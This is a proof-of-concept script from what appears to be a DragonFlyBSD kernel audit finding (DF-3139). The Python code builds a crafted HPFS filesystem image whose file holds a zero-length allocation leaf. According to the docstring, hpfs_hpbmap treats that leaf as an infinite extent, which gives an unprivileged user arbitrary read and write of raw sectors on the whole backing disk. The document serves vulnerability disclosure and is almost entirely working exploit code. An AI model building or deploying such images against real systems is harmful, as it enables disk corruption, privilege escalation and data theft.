⬢ DragonFlyBSD Kernel Audit
DF-3139 / craft_img.py
← back to finding ↓ download raw
#!/usr/bin/env python3
"""
DF-3139 — crafted HPFS image: file FILE whose root AlBlk contains a single
zero-length alleaf {al_off:0x1000, al_len:0, al_lsn:0x10}.

sys/vfs/hpfs/hpfs_alsubr.c:118-119 hpfs_hpbmap:

    if ((bn >= alp->al_off) &&
        (!alp->al_len || (bn < alp->al_off + alp->al_len))) {
        ...
        *bnp = bn - alp->al_off + alp->al_lsn;      (:122)

al_len == 0 is treated as "extent extends to infinity", so EVERY file block
number bn >= al_off maps to raw disk sector  al_lsn + (bn - al_off)  on the
device backing the filesystem (h_devvp).  With al_off/al_lsn fully crafted:

  pread(fd, buf, 512, lbn*512)  ->  returns the raw bytes of ANY sector
                                    (here: the superblock at sector 0x10 and
                                     the bitmap-dir sector 0x30) to an
                                    unprivileged reader;
  pwrite(fd, ...same offset...) ->  OVERWRITES that raw sector
                                    (here: sector 0x30) — sectors the file
                                    owns none of (its declared allocation is
                                    ZERO blocks).

On a real multi-slice disk this is an arbitrary-raw-sector read/write
primitive relative to the whole device (disklabel, other slices), from a
plain unprivileged pwrite(2)/pread(2) on a file inside the mounted crafted
image.
"""
import struct, sys

SECTOR = 512
IMGSEC = 0x1000            # 2 MB device; su_btotal = 0x1000
SU_MAGIC = 0xFA53E9C5F995E849
SP_MAGIC = 0xFA5229C5F9911849
FN_MAGIC = 0xF7E40AAE
D_MAGIC  = 0x77E40AAE

FN_OFF_MAGIC, FN_OFF_NAMELEN, FN_OFF_NAME = 0x00, 0x10, 0x11
FN_OFF_PARENT, FN_OFF_FLAG, FN_OFF_AB, FN_OFF_ABD, FN_OFF_SIZE = \
    0x20, 0x3B, 0x3C, 0x44, 0xA4
AB_OFF_FLAG, AB_OFF_FREECNT, AB_OFF_BUSYCNT, AB_OFF_FREEOFF = 0, 4, 5, 6

AL_OFF, AL_LEN, AL_LSN = 0x1000, 0, 0x10   # the poisoned leaf
FN_SIZE = 0x400000                          # 4 MB file (>= tested offsets)

def build(outpath):
    img = bytearray(IMGSEC * SECTOR)
    def wr32(o, v): struct.pack_into('<I', img, o, v & 0xFFFFFFFF)
    def wr64(o, v): struct.pack_into('<Q', img, o, v & 0xFFFFFFFFFFFFFFFF)
    def wr16(o, v): struct.pack_into('<H', img, o, v & 0xFFFF)
    def wr8(o, v):  img[o] = v & 0xFF

    img[0] = 0xEB
    wr16(SECTOR - 2, 0xAA55)

    su = 0x10 * SECTOR
    wr64(su + 0, SU_MAGIC); wr8(su + 8, 2)
    wr32(su + 12, 0x20)                 # su_rootfno
    wr32(su + 16, IMGSEC)               # su_btotal
    wr32(su + 20, 0)
    wr32(su + 24, 0x30); wr32(su + 28, 0x30)
    wr64(0x11 * SECTOR, SP_MAGIC)

    wr32(0x30 * SECTOR, 0x38)           # bitmap dir -> first bitmap sector
    bm = 0x38 * SECTOR
    for i in range(IMGSEC):             # everything marked busy; no
        b = bm + (i >> 3)               # allocation happens on this path
        if b < len(img):
            img[b] &= ~(1 << (i & 7))

    rf = 0x20 * SECTOR
    wr32(rf + FN_OFF_MAGIC, FN_MAGIC)
    wr8(rf + FN_OFF_NAMELEN, 1); img[rf + FN_OFF_NAME] = ord('.')
    wr32(rf + FN_OFF_PARENT, 0x20)
    wr8(rf + FN_OFF_FLAG, 1)            # VDIR
    img[rf + FN_OFF_AB + AB_OFF_FLAG] = 0
    img[rf + FN_OFF_AB + AB_OFF_FREECNT] = 7
    img[rf + FN_OFF_AB + AB_OFF_BUSYCNT] = 1
    wr16(rf + FN_OFF_AB + AB_OFF_FREEOFF, 8 + 12)
    wr32(rf + FN_OFF_ABD + 0, 0); wr32(rf + FN_OFF_ABD + 4, 1)
    wr32(rf + FN_OFF_ABD + 8, 0x40)
    wr32(rf + FN_OFF_SIZE, 4 * SECTOR)

    db = 0x40 * SECTOR
    wr32(db + 0, D_MAGIC); wr32(db + 4, 0x50); wr32(db + 8, 0)
    wr32(db + 12, 0x20); wr32(db + 16, 0x40)
    name = b'FILE'
    dep = db + 20
    reclen = ((0x2f + len(name)) + 3) & ~3
    wr16(dep + 0x00, reclen); wr16(dep + 0x02, 0)
    wr32(dep + 0x04, 0x48)
    wr64(dep + 0x08, 0); wr32(dep + 0x10, 0x10000)
    wr64(dep + 0x18, 0); wr64(dep + 0x20, 0); wr32(dep + 0x28, 0)
    img[dep + 0x2e] = len(name)
    for i, c in enumerate(name):
        img[dep + 0x2f + i] = c
    dep2 = dep + reclen
    wr16(dep2 + 0x00, 4 * SECTOR - (dep2 - db))
    wr16(dep2 + 0x02, 0x08)
    wr32(db + 4, (dep2 + 4) - db)

    ff = 0x48 * SECTOR
    wr32(ff + FN_OFF_MAGIC, FN_MAGIC)
    wr32(ff + FN_OFF_PARENT, 0x20)
    wr8(ff + FN_OFF_NAMELEN, 4)
    img[ff + FN_OFF_NAME:ff + FN_OFF_NAME + 4] = b'FILE'
    wr8(ff + FN_OFF_FLAG, 0)            # VREG
    # root alblk = single LEAF with al_len == 0  -> infinite extent
    img[ff + FN_OFF_AB + AB_OFF_FLAG] = 0
    img[ff + FN_OFF_AB + AB_OFF_FREECNT] = 7
    img[ff + FN_OFF_AB + AB_OFF_BUSYCNT] = 1
    wr16(ff + FN_OFF_AB + AB_OFF_FREEOFF, 8 + 12)
    wr32(ff + FN_OFF_ABD + 0, AL_OFF)
    wr32(ff + FN_OFF_ABD + 4, AL_LEN)   # 0 == "infinite"
    wr32(ff + FN_OFF_ABD + 8, AL_LSN)   # base raw sector for the mapping
    wr32(ff + FN_OFF_SIZE, FN_SIZE)

    with open(outpath, 'wb') as f:
        f.write(img)
    print("wrote %s: %d sectors; leaf {al_off=0x%x, al_len=0, al_lsn=0x%x}"
          % (outpath, IMGSEC, AL_OFF, AL_LSN))

if __name__ == '__main__':
    build(sys.argv[1] if len(sys.argv) > 1 else 'df3139.img')